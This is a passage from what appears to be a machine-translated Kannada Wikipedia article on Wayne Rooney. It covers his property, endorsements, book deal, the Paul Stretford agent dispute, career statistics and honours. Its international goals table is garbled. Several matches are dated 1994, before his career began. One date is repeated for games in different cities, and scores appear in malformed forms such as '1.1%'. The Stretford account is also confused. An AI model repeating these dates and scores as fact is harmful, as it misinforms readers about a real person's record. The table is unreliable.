ಅವರು ಈ ಹಣವನ್ನು ಅಸಹಾಯಕರಿಗಾಗಿ ಇರುವ ಸಂಸ್ಥೆಗೆ ದಾನ ಮಾಡಿದರು.<ref>{{cite web| url=https://www.theguardian.com/media/2006/apr/12/newsoftheworld.sun| title=Rooney wins £100k damages| publisher=guardian.co.uk| date=12 April 2006| accessdate=8 September 2008}}</ref> ರೂನೇ ಅವರ ಮನೆಯು 4.25 ಮಿಲಿಯನ್ ಪೌಂಡ್ ಬೆಳೆ ಬಾಳುತ್ತದೆ. ಇದು [[ಪ್ರೆಸ್ಟ್‌ಬರಿಯ ಚೆಸೈರ್]]<ref>{{cite web|url=http://money.uk.msn.com/msn-local/photos.aspx?cp-documentid=152968524&page=6|title=Wayne Rooney – Living next door to the stars|last=Seddon|first=Holly|date=9 April 2010|publisher=[[MSN]]|accessdate=18 April 2010|archive-date=14 ಜುಲೈ 2011|archive-url=https://web.archive.org/web/20110714125832/http://money.uk.msn.com/msn-local/photos.aspx?cp-documentid=152968524&page=6|url-status=dead}}</ref> ಗ್ರಾಮದಲ್ಲಿದೆ. ಇದನ್ನು [[ಶೇಫೀಲ್ಡ್ ಯೂನೈಟೆಡ್]] ತಂಡದ ಸ್ಟ್ರೈಕರ್ ಆಗಿದ್ದ [[ಆಶ್ಲೆ ವಾರ್ಡ್]] ಅವರ ಮಾಜಿ ಪತ್ನಿ ಡಾನ್ ವಾರ್ಡ್ ಅವರ ಮಾಲಿಕತ್ವದ ಕಂಪನಿಯು ಕಟ್ಟಿದೆ.<ref>[http://www.manchesteronline.co.uk/homesearch/latest/readershomes/s/147/147163_premiership_class.html manchesteronline.co.uk: ''ಪ್ರೀಮಿಯರ್‌ಶಿಪ್ ಕ್ಲಾಸ್'' ]</ref> ಅಲ್ಲದೆ, ರೂನೇ ಅವರು [[ಪೋರ್ಟ್ ಚಾರ್ಲೊಟ್, ಫ್ಲೋರಿಡಾ]]ಗಳಲ್ಲಿ ಆಸ್ತಿ ಹೊಂದಿದ್ದಾರೆ.<ref>{{cite web| url=http://www.thesun.co.uk/sol/homepage/news/article7136.ece| title=Col and Wayne are Dunroonin| publisher=''The Sun''| date=8 January 2007 2008| accessdate=8 September 2008| archive-date=22 ಅಕ್ಟೋಬರ್ 2012| archive-url=https://web.archive.org/web/20121022154008/http://www.thesun.co.uk/sol/homepage/news/article7136.ece| url-status=dead}}</ref> ರೂನೇ ಅವರು ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಜೊತೆ ಸಹಿ ಹಾಕಿದ ನಂತರ ಚೆಸೈರ್ ನಲ್ಲಿ ಮನೆಗಾಗಿ ಹುಡುಕುತ್ತಿದ್ದಾಗ ಅವರಿಗೆ ‘ಅಡ್ಮಿರಲ್ ರೊಡ್ನೇ’ ಎಂಬ ಹೆಸರಿನ ಪಬ್ ನ್ನು [[‘ಅಡ್ಮಿರಲ್ ರೂನೇ’|''''‘ಅಡ್ಮಿರಲ್ ರೂನೇ’'' '']] ಎಂದು ಓದಿದ್ದರು. ಅವರು ಈ ಘಟನೆಯನ್ನು ತಮ್ಮ ಮುಂದಿನ ಮನೆಗೆ ಶಕುನ ಎಂದೇ ನಿರ್ಧರಿಸಿದರು.<ref name="autogenerated1">''ಕಿಕ್ಕರ್'' , 18 ಏಪ್ರಿಲ್‌ 2006, p. 79-80</ref> ರೂನೇ ಅವರು [[ಫ್ರೆಂಚ್ ಮಾಸ್ಚಿಫ್]] ನಾಯಿಯನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಇದನ್ನು ಅವರು 1,250 ಪೌಂಡ್ ಗಳಿಗೆ ಖರೀದಿಸಿದ್ದಾರೆ.<ref>{{cite news |title=Rooney blows £1.2k on dog |url=http://www.mirror.co.uk/sunday-mirror/2008/01/06/roo-mutt-utd-98487-20275714/ |work=sundaymirror.co.uk |publisher=Trinity Mirror |date=6 January 2008 |accessdate=10 March 2009 |archive-date=18 ಆಗಸ್ಟ್ 2010 |archive-url=https://web.archive.org/web/20100818152654/http://www.mirror.co.uk/sunday-mirror/2008/01/06/roo-mutt-utd-98487-20275714/ |url-status=dead }}</ref> ರೂನೇ ಅವರ ಪತ್ನಿ ಕೊಲೀನ್ ಅವರು 2009 ರ ಎಪ್ರಿಲ್ 7 ರಂದು ತಾವು ತಮ್ಮ ಮೊದಲ ಮಗುವನ್ನು ಅಕ್ಟೋಬರ್ ನಲ್ಲಿ ನಿರೀಕ್ಷಿಸುತ್ತಿರುವುದಾಗಿ ತಿಳಿಸಿದರು.<ref>[http://www.ok.co.uk/celebnews/view/9152/COLEEN-EXCLUSIVE-I-m-pregnant-/ ಕೊಲೀನ್ ಎಕ್ಸ್‌ಕ್ಲೂಸಿವ್: ಐಯಾಮ್ ಪ್ರೆಗ್ನಂಟ್!] {{Webarchive|url=https://web.archive.org/web/20121104024203/http://www.ok.co.uk/celebnews/view/9152/COLEEN-EXCLUSIVE-I-m-pregnant-/ |date=2012-11-04 }} ಒಕೆ ಮ್ಯಾಗಜೀನ್; ರಿಟ್ರೈವ್ಡ್ 7 ಏಪ್ರಿಲ್‌ 2009</ref> ನಂತರ ಕೊಲೀನ್ ಅವರು ತಮ್ಮ ಮಗ ಕೈ ವೇಯ್ನ್ ರೂನೇ ಗೆ 2009 ರ ನವೆಂಬರ್ 2 ರಂದು ಜನ್ಮ ನೀಡಿದರು.<ref>ಕೊಲೀನ್‌[http://news.bbc.co.uk/1/hi/uk/8338575.stm ರೂನೀ ಗೀವ್ಸ್ ಬರ್ತ್ ಟು ಬಾಯ್] ಬಿಬಿಸಿ ನ್ಯೂಸ್‌, 2 ನವೆಂಬರ್‌ 2009</ref> === ವಾಣಿಜ್ಯಿಕ ಆಸಕ್ತಿಗಳು === ರೂನೇ [[ನೈಕ್]]<ref>{{cite web| url=http://www.dailymail.co.uk/news/article-391684/Nike-attacked-Rooney-warrior-picture.html| title=Nike attacked over Rooney 'warrior' picture| publisher=Daily Mail| date=21 June 2006| accessdate=8 September 2008}}</ref>, [[ನೋಕಿಯಾ]]<ref>{{cite web| url=http://www.bbdo.de/de/home/presse/aktuell/2006/30_03_06_soccer-ranking.html| title=Ronaldinho is footballer with the world's highest brand value| publisher=BBDO Germany| date=30 March 2006| accessdate=8 September 2008| archive-date=17 ಜೂನ್ 2009| archive-url=https://web.archive.org/web/20090617065527/http://www.bbdo.de/de/home/presse/aktuell/2006/30_03_06_soccer-ranking.html| url-status=dead}}</ref>, [[ಫೋರ್ಡ್]], [[ಅಸ್ಡಾ]]<ref>{{cite web| url=http://www.talkingretail.com/news/1786/Wayne-Rooney-deal-for-upmarket.ehtml%20talkingretail.com| title=Wayne Rooney "deal" for upmarket Asda| publisher=talkingretail.com| date=15 March 2006| accessdate=8 September 2008}}</ref> ಮತ್ತು [[ಕೋಕ ಕೋಲಾ]] <ref>{{cite web| url=http://www.coca-cola.co.uk/football/waynerooney/ coca-cola.co.uk| title=Coca-Cola Football: Wayne Rooney| publisher=Coca-Cola| accessdate=8 September 2008| archive-date=5 ನವೆಂಬರ್ 2012| archive-url=https://www.webcitation.org/6BwNaktJY?url=http://www.coca-cola.co.uk/world-cup/| url-status=dead}}</ref> ಕಂಪನಿಗಳ ಜೊತೆ ದೃಢೀಕರಣ ಒಪ್ಪಂದ ಹೊಂದಿದ್ದರು. . ಅವರು 5 ನೇರ ಇಂಗ್ಲೆಂಡ್-ರೀತಿಯ [[ಇಲೆಕ್ಟ್ರಾನಿಕ್ ಆರ್ಟ್ಸ್‌]]ನ ಕವರ್ ನಲ್ಲಿ [[ಫಿಫಾ ಸೀರೀಸ್|''ಫಿಫಾ'' ಸೀರೀಸ್]] ನಲ್ಲಿ ''[[ಫಿಫಾ 06]] '' (2005) ರಿಂದ ''[[ಫಿಫಾ 10]] '' (2009) ರಲ್ಲಿ ಹಾಜರಾಗಿದ್ದರು.<ref>{{cite web| url=http://www.electronicarts.co.uk/games/8948,xbox360/| title=FIFA 07| publisher=Electronic Arts| accessdate=8 September 2008| archive-date=5 ನವೆಂಬರ್ 2012| archive-url=https://www.webcitation.org/6BwNbou24?url=http://www.ea.com/uk/fifa-07| url-status=dead}}</ref> 2006 ರ ಮಾರ್ಚ್ 9 ರಂದು ರೂನೇ ಅವರು ಪ್ರಕಾಶನದ ಇತಿಹಾಸದಲ್ಲಿಯೇ ಹೆಚ್ಚಿನ ಕ್ರೀಡಾ ಪುಸ್ತಕಗಳ ವ್ಯವಹಾರಕ್ಕೆ ಹಾಪರ್ ಕೊಲಿನ್ ಕಂಪನಿಯೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದರು. ಇವರು ರೂನೇ ಅವರಿಗೆ 5 ಮಿಲಿಯನ್ ಪೌಂಡ್ ಹಣ ಮುಂಗಡ ಹಾಗೂ ರಾಯಲ್ಟಿಗಳನ್ನು ನೀಡುವುದಾಗಿ ಒಪ್ಪಂದ ಮಾಡಿಕೊಂಡಿತು. ಇದರಲ್ಲಿ 12 ವರ್ಷಗಳಿಗಿಂತ ಹೆಚ್ಚಿನ ಸಮಯದಲ್ಲಿ ಕನಿಷ್ಠ 5 ಪುಸ್ತಕಗಳನ್ನು ಹೊರತರುವ ಕುರಿತು ತಿಳಿಸಲಾಗಿತ್ತು. ಮೊದಲ ‘ಮೈ ಸ್ಟೋರಿ ಸೋ ಫಾರ್’ ಆತ್ಮಕತೆಯನ್ನು ಹಂಟರ್ ಡೆವೀಸ್ ಅವರು ಬರೆದರು. ಇದು ವಿಶ್ವ ಕಪ್ ನಂತರ ಬಿಡುಗಡೆಯಾಯಿತು. ಎರಡನೇ ಪ್ರಕಾಶನ ''‘ದಿ ಒಫೀಶಿಯಲ್ ವೇಯ್ನ್ ರೂನೇ ಆನ್ಯೂಯಲ್’'' ಇದು ಹದಿ ವಯಸ್ಕರ ಮಾರುಕಟ್ಟೆಯ ಮೇಲೆ ಗುರಿ ಇಟ್ಟಿಕೊಂಡಿತ್ತು. ಮತ್ತು ಇದನ್ನು ಫುಟ್ ಬಾಲ್ ಪತ್ರಕರ್ತ [[ಕ್ರಿಸ್ ಹಂಟ್]] ಅವರು ತಿದ್ದಿದರು. 2006 ರ ಜುಲೈನಲ್ಲಿ ರೂನೇ ಅವರ ವಕೀಲರು [[ಯುನೈಟೆಡ್ ನೇಶನ್ಸ್]] [[ವರ್ಲ್ಡ್ ಇಂಟಲೆಕ್ಚುವಲ್ ಪ್ರೊಪರ್ಟಿ ಆರ್ಗನೈಜೇಶನ್]] ಗೆ ''ವೇಯ್ನ್‌ರೂನೀ.com'' ಮತ್ತು ''ವೇಯ್ನ್‌ರೂನೀ.co.uk '' ಹೆಸರಿನ ಇಂಟರ್ನೆಟ್ ಪ್ರದೇಶದ ಮಾಲಿಕತ್ವ ಪಡೆಯಲು ಹೋದರು. ಇದನ್ನು ನಟನಕಾರ ಹುವ್ ಮಾರ್ಶಲ್ ಅರು 2002 ರಲ್ಲಿಯೇ ದಾಖಲಿಸಿದ್ದರು.<ref>{{cite news |url=http://news.bbc.co.uk/2/hi/uk_news/wales/5207766.stm |title=Rooney's legal fight for website |publisher=BBC |date=23 July 2006 |accessdate=22 February 2007}}</ref> ಮೂರು ತಿಂಗಳುಗಳ ನಂತರ WIPO ರೂನೇ ಅವರಿಗೆ ''ವೇಯ್ನ್‌ರೂನೀ.com'' ನ ಹಕ್ಕನ್ನು ನೀಡಿತು.<ref>{{cite news |url=http://news.bbc.co.uk/2/hi/uk_news/wales/north_east/6048958.stm |title=Rooney wins his fight for website |publisher=BBC |date=13 October 2006|accessdate=22 February 2007}}</ref> === ಪೌಲ್ ಸ್ಟ್ರೆಟ್‌ಫೋರ್ಡ್ ವಿವಾದ === ಸ್ಟ್ರೆಟ್ 2002 ರ ಜುಲೈ ನಲ್ಲಿ ರೂನೇ ಅವರು ಎವರ್ಟೊನ್ ನ ಕಾರ್ಯಕರ್ತ [[ಪೌಲ್ ಸ್ಟ್ರೆಟ್‌ಫೊರ್ಡ್]] ಅವರು ರೂನೇ ಮತ್ತು ಅವರ ಪಾಲಕರನ್ನು ಪ್ರೋಆಕ್ಟಿವ್ ಸ್ಪೋರ್ಟ್ಸ್ ಮ್ಯಾನೇಜ್ ಮೆಂಟ್ ಜೊತೆಗೆ 8 ವರ್ಷಗಳ ಕಾಲದ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿ ಆಟಗಾರನಾಗಿ ಪ್ರವೇಶಿಸುವಂತೆ ಪ್ರಚೋದಿಸಿದರು. ಏನೇ ಆದರೂ ರೂನೇ ಅವರು ಈಗಾಗಲೇ ಕಂಪನಿಯ ಜೊತೆ ಪ್ರಾತಿನಿಧಿತ್ವ ಹೊಂದಿದ್ದರು. ಸ್ಟ್ರೆಟ್ ಫೋರ್ಡ್ ಕೆಲಸಗಳ ಕುರಿತು ಎಫ್ಎ ಗೆ ವರದಿ ಸಲ್ಲಿಸಲಿಲ್ಲ. ಅಲ್ಲದೆ, ಈ ಕಾರಣದಿಂದ ಅವರು ಸರಿಯಾದ ನಿರ್ವಹಣೆ ತೋರದ ಕಾರಣ ಆರೋಪಿಸಲ್ಪಟ್ಟರು.<ref name="manublog">[http://www.manutdblog.com/2008/07/09/wayne-rooney’s-agent-banned-and-fined/ ವೇಯ್ನ್‌ ರೂನೀಸ್ ಏಜೆಂಟ್ ಬ್ಯಾನ್‌ಡ್ ಅಂಡ್ ಫೈನ್ಡ್] – ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನಿಟೆಡ್‌ ಬ್ಲಾಗ್, 9 ಜುಲೈ‌ 2008</ref> ಸ್ಟ್ರೆಟ್ ಫೋರ್ಡ್ ಅವರು 2004 ರ ಅಕ್ಟೋಬರ್ ನ ನ್ಯಾಯ ಪರಿವೀಕ್ಷಣೆಯಲ್ಲಿ ತಾವು ಬಾಕ್ಸಿಂಗ್ ಪ್ರೋತ್ಸಾಹಗಾರ ಜಾನ್ ಹೈಲ್ಯಾಂಡ್ (ರೂನೇ ಅವರ ಮೊದಲ ಪ್ರತಿನಿಧಿ ಸಂಗಾತಿ) ಮತ್ತು ಇತರ ಇಬ್ಬರು ವ್ಯಕ್ತಿಗಳು ರೂನೇ ಅವರನ್ನು ಹೊಡೆಯುತ್ತಿರುವುದು ಮತ್ತು ಕೆಲವು ಶೇಕಡಾ ಪ್ರಮಾಣದ ರೂನೇ ಅವರ ಸಂಪಾದನೆ ನೀಡುವಂತೆ ಒತ್ತಡ ಹೇರುತ್ತಿರುವುದನ್ನು ರಹಸ್ಯವಾಗಿ ಚಿತ್ರಿಸಿಕೊಂಡಿರುವುದಾಗಿ ಆರೋಪಿಸಿದರು.<ref name="telegraph">[http://www.telegraph.co.uk/sport/football/leagues/premierleague/manutd/2305232/Wayne-Rooney%27s-agent%2C-Paul-Stretford%2C-banned.html ವೇಯ್ನ್‌ ರೂನೀಸ್ ಏಜೆಂಟ್, ಪೌಲ್ ಸ್ಟ್ರಾಟ್‌ಫರ್ಡ್, ಬ್ಯಾನ್ಡ್] {{Webarchive|url=https://wayback.archive-it.org/all/20171019201105/http://www.telegraph.co.uk/sport/football/teams/manchester-united/2305232/Wayne-Rooneys-agent-Paul-Stretford-banned.html |date=2017-10-19 }} – ದ ಟೆಲೆಗ್ರಾಫ್‌, 22 ಜುಲೈ‌ 2008</ref> ಸ್ಟ್ರೆಟ್ ಫೋರ್ಡ್ ಪ್ರಕರಣವು ಸಾಕ್ಷಿ ಇಲ್ಲದ ಕಾರಣ ಮುರಿದುಬಿದ್ದಿತು. ಬಲಾತ್ಕಾರದಿಂದ ಅವರು ರೂನೇ ಗೆ ಸಹಿ ಹಾಕಿರಲಿಲ್ಲ ಮತ್ತು 2008 ಜುಲೈ 9 ರಂದು ಅವರು ಪೊಲೀಸರಿಗೆ "''ಸುಳ್ಳು ಮತ್ತು ದಾರಿ ತಪ್ಪಿಸುವ ಸಾಕ್ಷಿ ಹೇಳಿಕೆ ನೀಡಿದ್ದರಿಂದ ಹಾಗೂ ಸುಳ್ಳು ಮತ್ತು ದಾರಿತಪ್ಪಿಸುವ ಪ್ರಶಂಸಾ ಪತ್ರ ನೀಡಿದ'' " ಕಾರಣ ಅಪರಾಧಿ ಎಂದು ಘೋಷಿಸಲ್ಪಟ್ಟರು.<ref name="telegraph"/> ಅಲ್ಲದೆ, ಸ್ಟ್ರೆಟ್ ಫೋರ್ಡ್ ಅವರು ರೂನೇ ಜೊತೆ ಸಹಿ ಹಾಕಿದ್ದ ಒಪ್ಪಂದವು ಎಫ್ಎ ಅಪ್ಪಣೆಕೊಟ್ಟಿರುವ ಅವಧಿಗಿಂತಲೂ ಎರಡು ವರ್ಷ ಹೆಚ್ಚು ಅವಧಿ ಹೊಂದಿತ್ತು. ಸ್ಟ್ರೆಟ್ ಫೋರ್ಡ್ ಅವರಿಗೆ 300,000 ಪೌಂಡ್ ದಂಡ ಹಾಕಲಾಯಿತು ಮತ್ತು 18 ತಿಂಗಳುಗಳ ಕಾಲ ಫುಟ್ ಬಾಲ್ ಪ್ರತಿನಿಧಿಯಾಗಿ ಕೆಲಸ ಮಾಡದಂತೆ ನಿಷೇಧ ಹೇರಿತು. ಇದನ್ನು ಅವರು ಪ್ರಾಮಾಣಿಕವಾಗಿ ಅನುಭವಿಸಿದರು.<ref name="telegraph"/> == ವೃತ್ತಿ ಜೀವನದ ಅಂಕಿಅಂಶಗಳು == {| class="wikitable" style="text-align:center" |- ! rowspan="2"|ಕ್ಲಬ್ ! rowspan="2"|ಋತು ! colspan="2"|ಲೀಗ್‌ ಪಂದ್ಯಗಳು ! colspan="2"|ಕಪ್ ! colspan="2"|ಲೀಗ್ ಕಪ್ ! colspan="2"|ಕಾಂಟಿನೆಂಟಲ್ ! colspan="2"|ಇತರ[81] ! colspan="2"|ಒಟ್ಟು |- !ಗರಿಷ್ಟ !ಗೋಲ್‌ಗಳು !ಗರಿಷ್ಟ !ಗೋಲ್‌ಗಳು !ಗರಿಷ್ಟ !ಗೋಲ್‌ಗಳು !ಗರಿಷ್ಟ !ಗೋಲ್‌ಗಳು !ಗರಿಷ್ಟ !ಗೋಲ್ಸ್ !ಗರಿಷ್ಟ !ಗೋಲ್ಸ್ |- | rowspan="3"|[[ಎವರ್ಟೋನ್‌]] | [[2002–03]] | 33 | 6 | 1 | 0 | 3 | 2 | colspan="2"|– | 0 | 0 | 37 | 8 |- | [[2003–04]] | 34 | 9 | 3 | 0 | 3 | 0 | colspan="2"|– | 0 | 0 | 40 | 9 |- !ಒಟ್ಟು !67* !15 !4 !0 !6 !2 ! colspan="2"|– !0 !0 !77 !17 |- | rowspan="7"|[[ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್]] | [[2004–05]] | 29 | 11 | 6 | 3 | 2 | 0 | 6 | 3 | 0 | 0 | 43 | 17 |- | [[2005/06]] | 36 | 16 | 3 | 0 | 4 | 2 | 5 | 1 | 0 | 0 | 48 | 19 |- | [[2006–07]] | [35] | 14 | 7 | 5 | 1 | 0 | 12 | 4 | 0 | 0 | 55 | 23 |- | [[2007–08]] | 27 | 12 | 4 | 2 | 0 | 0 | 11 | 4 | 1 | 0 | 43 | 18 |- | [[2008–09]] | 30 | 12 | 2 | 1 | 1 | 0 | 13 | 4 | 3 | 3 | 49 | 20 |- | [[2009–10]] | 32 | 26 | 1 | 0 | 3 | 2 | 7 | 5 | 1 | 1 | 44 | 34 |- !ಒಟ್ಟು !189 !91 !23 !11 !11 !4 !54 !21 !5 !4 !282 !131 |- ! colspan="2"|ವೃತ್ತಿ ಜೀವನದ ಸಂಪೂರ್ಣ !256 !106 !27 !11 !17 !6 !54 !21 !5 !4 !359 !148 |} ''09 ಮೇ 2010 ರಂದು ಆಡಿದ ಆಟದ ಪ್ರಕಾರ ಅಂಕಿಅಂಶಗಳು ಸರಿಯಾಗಿವೆ'' <ref>{{cite web |url=http://www.stretfordend.co.uk/playermenu/rooney.html |title=Wayne Rooney |accessdate=22 August 2009 |last=Endlar |first=Andrew |publisher=StretfordEnd.co.uk }}</ref> === ಅಂತಾರಾಷ್ಟ್ರೀಯ ಗೋಲುಗಳು === {| class="wikitable sortable collapsible collapsed" border="1" style="float:center;border:1px;font-size:90%;margin-left:1em" ! colspan="7" width="250"|ವೆಯ್ನೆ ರೂನೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಗೋಲುಗಳು |- | 1 | 7 ಸೆಪ್ಟೈಂಬರ್ 1994 | | {{fb|MKD}} | 2-1 | ಜಯ | [[UEFA ಯುರೊ 2004 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 2 | 7 ಸೆಪ್ಟೈಂಬರ್ 1994 | | {{fb|LIE}} | 2–0 | ಜಯ | [[UEFA ಯುರೊ 2004 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 3 | 16 ನವೆಂಬರ್ 2003 | [[ಮ್ಯಾಂಚೆಸ್ಟರ್]], [[ಇಂಗ್ಲೆಂಡ್]] | {{fb|DEN}} | 3–2 | ನಷ್ಟ | [[ಸ್ನೇಹದ ಪಂದ್ಯ]] |- | 4 | 5 ಜೂನ್‌ 2004 | [[ಮ್ಯಾಂಚೆಸ್ಟರ್]], [[ಇಂಗ್ಲೆಂಡ್]] | {{fb|ISL}} | 6–1 | ಜಯ | [[ಸ್ನೇಹದ ಪಂದ್ಯ]] |- | 5 | 5 ಜೂನ್‌ 2004 | [[ಮ್ಯಾಂಚೆಸ್ಟರ್]], [[ಇಂಗ್ಲೆಂಡ್]] | {{fb|ISL}} | 6–1 | ಜಯ | [[ಸ್ನೇಹದ ಪಂದ್ಯ]] |- | 6 | 21 ಜೂನ್‌ 2004 | [[ಕೊಯಿಂಬ್ರಾ]], [[ಪೋರ್ಚುಗಲ್]] | {{fb|SUI}} | 3.0 | ಜಯ | [[UEFA ಯೂರೋ 2004]] |- | 7 | 21 ಜೂನ್‌ 2004 | [[ಕೊಯಿಂಬ್ರಾ]], [[ಪೋರ್ಚುಗಲ್]] | {{fb|SUI}} | 3–0 | Win | [[UEFA Euro 2004]] |- | 8 | 21 ಜೂನ್‌ 2004 | [[ಲಿಸ್ಬನ್]], [[ಪೋರ್ಚುಗಲ್]] | {{fb|CRO}} | 4–2 | ಜಯ | [[UEFA ಯೂರೋ 2004]] |- | 9 | 21 ಜೂನ್‌ 2004 | [[ಲಿಸ್ಬನ್]], [[ಪೋರ್ಚುಗಲ್]] | {{fb|CRO}} | 4–2 | ಜಯ | [[UEFA ಯೂರೋ 2004]] |- | 10 | 16 ಆಗಸ್ಟ್ 2006 | [[ಕೊಪಿನ್‌ಹ್ಯಾಗನ್]], [[ಡೆನ್ಮಾರ್ಕ್]] | {{fb|DEN}} | 4.1 | ನಷ್ಟ | [[ಸ್ನೇಹದ ಪಂದ್ಯ]] |- | 11 | 1 ನವೆಂಬರ್‌ 2005 | [[ಜಿನೆವಾ]], [[ಸ್ವಿಟ್ಜರ್ಲ್ಯಾಂಡ್]] | {{fb|ARG}} | 3–2 | ಜಯ | [[ಸ್ನೇಹದ ಪಂದ್ಯ]] |- | 12 | 1 ನವೆಂಬರ್‌ 2005 | ಆಮ್‌ಸ್ಟರ್ಡ್ಯಾಂ, ನೆದರ್ಲ್ಯಾಂಡ್ಸ್ | {{fb|NED}} | 1.1% | ಸರಿಸಮ ಪಂದ್ಯ | [[ಸ್ನೇಹದ ಪಂದ್ಯ]] |- | 13 | 12 ಅಕ್ಟೋಬರ‍್ 2005 | ಲಂಡನ್, ಇಂಗ್ಲೆಂಡ್ | {{fb|EST}} | 3.0 | Win | [[UEFA ಯುರೊ 2008 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 14 | 12 ಅಕ್ಟೋಬರ‍್ 2005 | [[ಮಾಸ್ಕೊ]], [[ರಷಿಯಾ]] | {{fb|RUS}} | 2-1 | ನಷ್ಟ | [[UEFA ಯುರೊ 2008 ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 15 | 7 ಸೆಪ್ಟೈಂಬರ್ 1994 | [[ಝಾಗ್ರೆಬ್]], [[ಕ್ರೊಯೇಷಿಯಾ]] | {{fb|CRO}} | 4.1 | ಜಯ | [[2010 ವಿಶ್ವ ಕಪ್ ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 16 | 12 ಅಕ್ಟೋಬರ‍್ 2005 | ಲಂಡನ್, ಇಂಗ್ಲೆಂಡ್ | {{fb|KAZ}} | 5–1 | ಜಯ | [[2010 ವಿಶ್ವ ಕಪ್ ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 17 | 12 ಅಕ್ಟೋಬರ‍್ 2005 | ಲಂಡನ್, ಇಂಗ್ಲೆಂಡ್ | {{fb|KAZ}} | 5–1 | Win | [[2010 ವಿಶ್ವ ಕಪ್ ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 18 | 10 ಅಕ್ಟೋಬರ‍್ 2005 | ಮಿನ್ಸಂಕ್ , ಬೆಲ್ಸರಸ್ | {{fb|BLR}} | 3-1 | ಜಯ | [[2010 ವಿಶ್ವ ಕಪ್ ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 19 | 12 ಅಕ್ಟೋಬರ‍್ 2005 | ಮಿನ್ಸಂಕ್ , ಬೆಲ್ಸರಸ್ | {{fb|BLR}} | 3-1 | ಜಯ | [[2010 ವಿಶ್ವ ಕಪ್ ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 20 | 28 ಮಾರ್ಚ್ 2009 | ಲಂಡನ್, ಇಂಗ್ಲೆಂಡ್ | {{fb|SVK}} | 4–0 | ಜಯ | [[ಸ್ನೇಹದ ಪಂದ್ಯ]] |- | 21 | 28 ಮಾರ್ಚ್ 2009 | ಲಂಡನ್, ಇಂಗ್ಲೆಂಡ್ | {{fb|SVK}} | 4–0 | ಜಯ | [[ಸ್ನೇಹದ ಪಂದ್ಯ]] |- | 22 | 6 ಜೂನ್‌ 2009 | [[ಆಲ್ಮಟಿ]], [[ಕಝಕ್‌ಸ್ತಾನ್]] | {{fb|KAZ}} | 4–0 | ಜಯ | [[2010 ವಿಶ್ವ ಕಪ್ ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 23 | 10 ಜೂನ್‌ 2009 | ಲಂಡನ್, ಇಂಗ್ಲೆಂಡ್ | {{fb|AND}} | 6–0 | ಜಯ | [[2010 ವಿಶ್ವ ಕಪ್ ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 24 | 10 ಜೂನ್‌ 2009 | ಲಂಡನ್, ಇಂಗ್ಲೆಂಡ್ | {{fb|AND}} | 6–0 | ಜಯ | [[2010 ವಿಶ್ವ ಕಪ್ ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |- | 25 | 9 ಸೆಪ್ಟೈಂಬರ್ 2009 | ಲಂಡನ್, ಇಂಗ್ಲೆಂಡ್ | {{fb|CRO}} | 5–1 | ಜಯ | [[2010 ವಿಶ್ವ ಕಪ್ ಕ್ವಾಲಿಫಾಯಿಂಗ್]] |} == ಗೌರವ ಪ್ರಶಸ್ತಿಗಳು == === ಕ್ಲಬ್ === ==== ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನಿಟೆಡ್ ==== * [[ಪ್ರೀಮಿಯರ್ ಲೀಗ್]] (3): [[2006–07]], [[2007–08]], [[2008–09]] * [[ಕಮ್ಯುನಿಟಿ ಶೀಲ್ಡ್]] (1): [[2007]] * [[ಲೀಗ್ ಕಪ್]] (2): [[2005–06]], [[2009–10]] * [[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]] (1): [[2007–08]] * FIFA ಕ್ಲಬ್ ನ ವಿಶ್ವ ಕಪ್ (1): 2008 === ವೈಯಕ್ತಿಕ ಸಾಧನೆ === * [[BBC ಸ್ಪೋರ್ಟ್ಸ್ ವರ್ಷದ ಯುವ ವ್ಯಕ್ತಿ]] (1): 2002 * [[ಬ್ರೇವೊ ಪ್ರಶಸ್ತಿ]] (1): 2003 * UEFA ಯೂರೋ 2004: ಪಂದ್ಯಾಟದ ಅತ್ಯುತ್ತಮ ತಂಡ * [[FIFPro ವಿಶ್ವದ ಯುವ ವರ್ಷದ ಆಟಗಾರ]] (1): 2004–05 * [[ಸರ್ ಮಟ್ ಬಸ್ಬಿ ವರ್ಷದ ಆಟಗಾರ]] (2): 2005–06, 2009–10 * [[FWA ವರ್ಷದ ಪುಟ್ಬಾಲ್ ಆಟಗಾರ]] (1): 2009–10 * [[PFA ಆಟಗಾರರು' ವರ್ಷದ ಆಟಗಾರ]] (1): 2009–10 * [[PFA]] (2): 2004–05, 2005–06 * [[PFA ಅಭಿಮಾನಿಗಳ' ವರ್ಷದ ಆಟಗಾರ]] (2): 2005–06, 2009–10 * [[PFA ವರ್ಷದ ಪ್ರೀಮಿಯನ್ ಲೀಗ್ ತಂಡ]] (2): [[2005–06]], [[2009–10]] * [[FA ಪ್ರೀಮಿಯರ್ ಲೀಗ್ ತಿಂಗಳ ಆಟಗಾರ]] (5): ಫೆಬ್ರವರಿ 2005, ಡಿಸೆಂಬರ್ 2005, ಮಾರ್ಚ್ 2006, [[ಅಕ್ಟೋಬರ್ 2007]], [[ಜನವರಿ 2010]] * ಸೀಸನ್‌ನ ಬಾರ್ಕ್ಲೇ ಆಟಗಾರ (1): 2009-10 * [[FIFA ಕ್ಲಬ್ ವಿಶ್ವ ಕಪ್]] ಗೋಲ್ಡನ್ ಬಾಲ್ (1): [[2008]] * ವರ್ಷದ ಇಂಗ್ಲೆಂಡ್ ಆಟಗಾರ (2): 2008, 2009 == ಆಕರಗಳು == {{Reflist|colwidth=30em}} == ಹೊರಗಿನ 